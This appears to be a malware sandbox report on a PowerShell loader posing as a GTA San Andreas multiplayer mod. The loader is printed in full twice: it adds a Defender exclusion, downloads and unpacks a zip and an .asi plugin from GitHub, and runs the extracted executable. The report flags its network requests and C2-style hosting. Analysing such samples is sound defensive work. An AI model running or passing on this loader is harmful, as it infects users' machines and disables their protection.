Overview

overview

8

Static

static

1

URLScan

urlscan

http://$path="$env:P...

windows10-2004-x64

8

Sharing

Copy URL Twitter E-mail

General

  • Target
    http://$path="$env:ProgramData\SleepysProject"; New-Item -Path $path -ItemType Directory -Force; Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue; $zip="$path\loader.zip"; Invoke-WebRequest -Uri "https://github.com/Sleepys-Project/video-host/raw/refs/heads/main/loader.zip" -OutFile $zip -UseBasicParsing; Expand-Archive -Path $zip -DestinationPath $path -Force; try { $gtaKey=Get-ItemProperty -Path "HKCU:\Software\SAMP" -Name "gta_sa_exe" -ErrorAction Stop; $gtaExe=$gtaKey."gta_sa_exe"; $gtaFolder=Split-Path $gtaExe -Parent; Invoke-WebRequest -Uri "https://github.com/Sleepys-Project/video-host/raw/refs/heads/main/III.VC.SA.WindowedMode.asi" -OutFile "$gtaFolder\III.VC.SA.WindowedMode.asi" -UseBasicParsing -ErrorAction Stop } catch { Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class MB{[DllImport("user32.dll")]public static extern int MessageBox(IntPtr hWnd,string text,string caption,uint type);}' -PassThru; [MB]::MessageBox(0, "GTA San Andreas path not found!`n`nPlease install GTA:SA + SAMP first.`n(The registry key HKCU:\Software\SAMP\gta_sa_exe is missing.)", "SleepysProject - Error", 0x10); exit }; $exe="$path\SleepysProjectLoader.exe"; $sc=[Environment]::GetFolderPath("Desktop") + "\SleepysProjectLoader.lnk"; $WshShell=New-Object -ComObject WScript.Shell; $Shortcut=$WshShell.CreateShortcut($sc); $Shortcut.TargetPath=$exe; $Shortcut.Save(); & $exe
  • Sample260731-3ncxjsshre
Score
8/10
discovery

Malware Config

Targets

    • Target
      http://$path="$env:ProgramData\SleepysProject"; New-Item -Path $path -ItemType Directory -Force; Add-MpPreference -ExclusionPath $path -ErrorAction SilentlyContinue; $zip="$path\loader.zip"; Invoke-WebRequest -Uri "https://github.com/Sleepys-Project/video-host/raw/refs/heads/main/loader.zip" -OutFile $zip -UseBasicParsing; Expand-Archive -Path $zip -DestinationPath $path -Force; try { $gtaKey=Get-ItemProperty -Path "HKCU:\Software\SAMP" -Name "gta_sa_exe" -ErrorAction Stop; $gtaExe=$gtaKey."gta_sa_exe"; $gtaFolder=Split-Path $gtaExe -Parent; Invoke-WebRequest -Uri "https://github.com/Sleepys-Project/video-host/raw/refs/heads/main/III.VC.SA.WindowedMode.asi" -OutFile "$gtaFolder\III.VC.SA.WindowedMode.asi" -UseBasicParsing -ErrorAction Stop } catch { Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class MB{[DllImport("user32.dll")]public static extern int MessageBox(IntPtr hWnd,string text,string caption,uint type);}' -PassThru; [MB]::MessageBox(0, "GTA San Andreas path not found!`n`nPlease install GTA:SA + SAMP first.`n(The registry key HKCU:\Software\SAMP\gta_sa_exe is missing.)", "SleepysProject - Error", 0x10); exit }; $exe="$path\SleepysProjectLoader.exe"; $sc=[Environment]::GetFolderPath("Desktop") + "\SleepysProjectLoader.lnk"; $WshShell=New-Object -ComObject WScript.Shell; $Shortcut=$WshShell.CreateShortcut($sc); $Shortcut.TargetPath=$exe; $Shortcut.Save(); & $exe
    Score
    8/10
    discovery

    • Badlisted process makes network request

      Network request originating from process or tool commonly abused by malware.

    • Contacts third-party web service commonly abused for C2

      Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

    behavioral1

MITRE ATT&CK Enterprise v16

Tasks